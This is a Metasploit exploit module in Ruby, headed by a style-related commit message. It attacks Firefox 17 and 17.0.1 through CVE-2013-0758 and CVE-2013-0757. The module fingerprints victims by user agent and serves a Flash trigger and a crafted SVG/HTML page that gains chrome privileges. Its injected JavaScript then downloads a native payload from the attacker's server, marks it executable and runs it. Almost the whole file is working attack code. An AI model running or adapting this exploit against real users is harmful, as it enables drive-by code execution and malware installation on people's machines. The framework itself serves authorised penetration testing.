c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
297 lines
10 KiB
Ruby
297 lines
10 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
|
|
'Description' => %q{
|
|
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
|
|
the user has installed Flash. No memory corruption is used.
|
|
|
|
First, a Flash object is cloned into the anonymous content of the SVG
|
|
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
|
|
can navigate a child frame to a URL in the chrome:// scheme.
|
|
|
|
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
|
|
around the child frame's window reference and inject code into the chrome://
|
|
context. Once we have injection into the chrome execution context, we can write
|
|
the payload to disk, chmod it (if posix), and then execute.
|
|
|
|
Note: Flash is used here to trigger the exploit but any Firefox plugin
|
|
with script access should be able to trigger it.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic',
|
|
{
|
|
'Platform' => %w{ linux osx win },
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'Linux x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Author' =>
|
|
[
|
|
'Marius Mlynski', # discovery & bug report
|
|
'joev', # metasploit module
|
|
'sinn3r' # metasploit fu
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
|
|
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
|
|
['OSVDB', '89019'], # maps to CVE 2013-0757
|
|
['OSVDB', '89020'], # maps to CVE 2013-0758
|
|
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
|
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
|
|
],
|
|
'DisclosureDate' => 'Jan 08 2013'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
|
|
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
|
|
], Auxiliary::Timed)
|
|
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
my_target = get_target(request.headers['User-Agent'])
|
|
if my_target.nil?
|
|
print_error("User agent does not match an available payload type, bailing.")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
target = my_target
|
|
|
|
if request.uri =~ /\.swf$/
|
|
# send Flash .swf for navigating the frame to chrome://
|
|
print_status("Sending .swf trigger.")
|
|
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
|
|
elsif request.uri =~ /\.bin/
|
|
# send the binary payload to drop & exec
|
|
print_status("Child frame navigated. Sending binary payload to drop & execute.")
|
|
send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
|
|
else
|
|
# send initial HTML page
|
|
print_status("Target selected: #{target.name}")
|
|
print_status("Sending #{self.name}")
|
|
send_response_html(cli, generate_html(target))
|
|
end
|
|
handler(cli)
|
|
end
|
|
|
|
# @return [String] the encoded executable for dropping onto the client's machine
|
|
def dropped_file_contents(cli, target)
|
|
return if ((p=regenerate_payload(cli)) == nil)
|
|
opts = target.opts
|
|
exe = ''
|
|
|
|
case target.name
|
|
when /windows/i
|
|
opts = opts.merge({:code=>p.encoded})
|
|
exe = generate_payload_exe(opts)
|
|
when /linux/i
|
|
exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
|
|
when /os x/i
|
|
exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
|
|
end
|
|
|
|
return exe
|
|
end
|
|
|
|
# @return [Msf::Module::Target] that matches the client's user-agent header
|
|
def get_target(agent)
|
|
# Not firefox, bail
|
|
if agent !~ /firefox/i
|
|
return nil
|
|
end
|
|
|
|
# User wants to manually specify a target, respect that
|
|
if target != targets[0]
|
|
return target
|
|
end
|
|
|
|
# os detection
|
|
if agent =~ /windows/i
|
|
targets[1]
|
|
elsif agent =~ /linux/i
|
|
targets[2]
|
|
elsif agent =~ /macintosh/i and agent =~ /intel/i
|
|
targets[3]
|
|
else
|
|
nil
|
|
end
|
|
end
|
|
|
|
# @return [String] the contents of the .swf file used to trigger the exploit
|
|
def flash_trigger
|
|
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
|
|
@flash_trigger ||= File.read(swf_path)
|
|
end
|
|
|
|
# @return [String] the filename that will be used when the payload is dropped
|
|
def payload_filename(target)
|
|
if target.name =~ /Windows x86/i
|
|
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
|
|
else
|
|
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
|
|
end
|
|
end
|
|
|
|
# @return [String] containing javascript code to execute with chrome privileges
|
|
def js_payload(target)
|
|
%Q|
|
|
#{js_debug("Injection successful. JS executing with chrome privileges.")}
|
|
var x = new XMLHttpRequest;
|
|
x.overrideMimeType('text/plain; charset=x-user-defined');
|
|
x.open('POST', '#{base_url}.bin', false);
|
|
x.send(null);
|
|
#{js_debug("'Payload: '+x.responseText", "")}
|
|
var file = Components.classes["@mozilla.org/file/directory_service;1"]
|
|
.getService(Components.interfaces.nsIProperties)
|
|
.get("TmpD", Components.interfaces.nsIFile);
|
|
file.append('#{payload_filename(target)}');
|
|
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
|
|
.createInstance(Components.interfaces.nsIFileOutputStream);
|
|
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
|
|
stream.write(x.responseText, x.responseText.length);
|
|
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
|
|
stream.finish();
|
|
} else {
|
|
stream.close();
|
|
}
|
|
#{chmod_code(target)}
|
|
#{js_debug("'Downloaded to: '+file.path", "")}
|
|
var process = Components.classes["@mozilla.org/process/util;1"]
|
|
.createInstance(Components.interfaces.nsIProcess);
|
|
process.init(file);
|
|
process.run(false, [], 0);
|
|
|
|
|
end
|
|
|
|
# @return [String] containing javascript that will alert a debug string
|
|
# if the DEBUG is set to true
|
|
def js_debug(str, quote="'")
|
|
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
|
|
end
|
|
|
|
# @return [String] containing javascript that will chmod the dropped executable
|
|
def chmod_code(target)
|
|
return '' if target.name == 'Windows x86 (Native Payload)'
|
|
%Q|
|
|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
|
|
chmod.initWithPath("/bin/chmod");
|
|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
process.init(chmod);
|
|
process.run(true, ["+x", file.path], 2);
|
|
|
|
|
end
|
|
|
|
# @return [String] URL for sending requests back to the module
|
|
def base_url
|
|
proto = (datastore["SSL"] ? "https" : "http")
|
|
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
|
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
|
|
end
|
|
|
|
# @return [String] HTML that is sent in the first response to the client
|
|
def generate_html(target)
|
|
vars = {
|
|
:symbol_id => 'a',
|
|
:random_domain => 'safe',
|
|
:payload => js_payload(target),
|
|
:payload_var => 'c',
|
|
:payload_key => 'k',
|
|
:payload_obj_var => 'payload_obj',
|
|
:interval_var => 'itvl',
|
|
:access_string => 'access',
|
|
:frame_ref => 'frames[0]',
|
|
:frame_name => 'n',
|
|
:loader_path => "#{base_url}.swf",
|
|
:content => self.datastore['CONTENT'] || ''
|
|
}
|
|
%Q|
|
|
<!doctype html>
|
|
<html>
|
|
<head>
|
|
<base href="chrome://browser/content/">
|
|
</head>
|
|
<body>
|
|
|
|
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
|
<symbol id="#{vars[:symbol_id]}">
|
|
<foreignObject>
|
|
<object></object>
|
|
</foreignObject>
|
|
</symbol>
|
|
<use />
|
|
</svg>
|
|
|
|
<script>
|
|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
|
|
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
|
|
function $() {
|
|
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
|
|
}
|
|
function _() {
|
|
return '#{vars[:frame_name]}';
|
|
}
|
|
var #{vars[:interval_var]} = setInterval(function(){
|
|
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
|
|
catch(e){
|
|
clearInterval(#{vars[:interval_var]});
|
|
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
|
|
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
|
|
Object.prototype.__lookupSetter__("__proto__").call(p, o);
|
|
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
|
|
}
|
|
}, 100);
|
|
document.querySelector('object').data = "#{vars[:loader_path]}";
|
|
document.querySelector('use').setAttributeNS(
|
|
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
|
|
);
|
|
</script>
|
|
|
|
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
|
name="#{vars[:frame_name]}"></iframe>
|
|
#{vars[:content]}
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
end
|